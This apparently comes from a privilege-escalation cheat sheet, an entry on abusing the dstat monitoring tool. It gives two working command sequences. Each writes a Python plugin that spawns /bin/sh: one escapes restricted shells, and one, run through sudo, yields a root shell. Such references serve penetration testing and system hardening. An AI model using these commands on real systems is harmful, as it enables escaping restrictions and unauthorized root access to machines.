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• Shell
• Sudo

dstat allows you to run arbitrary python scripts loaded as “external plugins” if they are located in one of the directories stated in the dstat man page under “FILES”:

1. ~/.dstat/
2. (path of binary)/plugins/
3. /usr/share/dstat/
4. /usr/local/share/dstat/

Pick the one that you can write into.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• mkdir -p ~/.dstat
  echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py
  dstat --xxx

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
  sudo dstat --xxx